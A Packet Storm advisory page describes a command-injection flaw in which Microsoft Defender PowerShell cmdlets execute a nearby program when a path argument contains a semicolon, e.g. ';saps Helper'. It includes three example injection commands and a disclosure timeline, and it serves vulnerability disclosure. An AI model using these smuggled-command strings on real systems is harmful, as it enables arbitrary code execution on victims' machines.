exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Microsoft Defender Anti-Malware PowerShell API Arbitrary Code Execution

Microsoft Defender Anti-Malware PowerShell API Arbitrary Code Execution
Posted Dec 8, 2023
Authored by hyp3rlinx | Site hyp3rlinx.altervista.org

Microsoft Defender API and PowerShell APIs suffer from an arbitrary code execution due to a flaw in powershell not handling user provided input that contains a semicolon.

tags | exploit, arbitrary, code execution
SHA-256 | fe92bef621155fd9c83158e63e2b87c27bed041ce6cc8df753d8ab75d5fcd6af

Microsoft Defender Anti-Malware PowerShell API Arbitrary Code Execution

Change Mirror Download
[+] Credits: John Page (aka hyp3rlinx)    
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/MICROSOFT_DEFENDER_ANTI_MALWARE_POWERSHELL_API_UNINTENDED_CODE_EXECUTION.txt
[+] twitter.com/hyp3rlinx
[+] x.com/hyp3rlinx
[+] ISR: ApparitionSec


[Vendor]
www.microsoft.com


[Product]
Windows PowerShell


[Vulnerability Type]
Arbitrary Code Execution


[CVE Reference]
N/A


[Security Issue]
Microsoft Defender Anti Malware and or PS API's can result in executing arbitrary code.
E.g. scan a directory, shortcut .lnk or even non-existent item, may execute unintended code.
This vector builds upon my previous advisory and subsequent project PSTrojanFile.

Requirements:
1) On CL 'powershell' cmd is prefixed or passed in by calling PowerShell from another script
2) Executable file of same name as the parameter that lives nearby

Examples:
powershell Start-MpScan -Scanpath "C:\Users\gg\Downloads\;saps Helper;.1.zip"
(Helper.exe lives on Desktop)

Create directory ";saps Test", Test.exe, Test.cmd etc is on same CL path
powershell Add-MpPreference -ControlledFolderAccessAllowedApplications ";saps Test"

Create directory with semicolon, drop PE file named doom.exe in same path.
powershell Set-ProcessMitigation -PolicyFilePath "test;saps doom"

TODO: Update PSTrojanFile

[References]
http://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-POWERSHELL-UNSANITIZED-FILENAME-COMMAND-EXECUTION.txt
https://github.com/hyp3rlinx/PSTrojanFile
https://packetstormsecurity.com/files/153863/Microsoft-Windows-PowerShell-Command-Execution.html
https://www.exploit-db.com/exploits/47248
https://github.com/MicrosoftDocs/windows-powershell-docs/tree/main/docset/winserver2019-ps/defender


[Video PoC URL]
https://www.youtube.com/watch?v=0Go6yJiRWP8


[Network Access]
Remote


[Severity]
High


[Disclosure Timeline]
Vendor Notification: circa (2019)
December 7, 2023 : Public Disclosure


[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close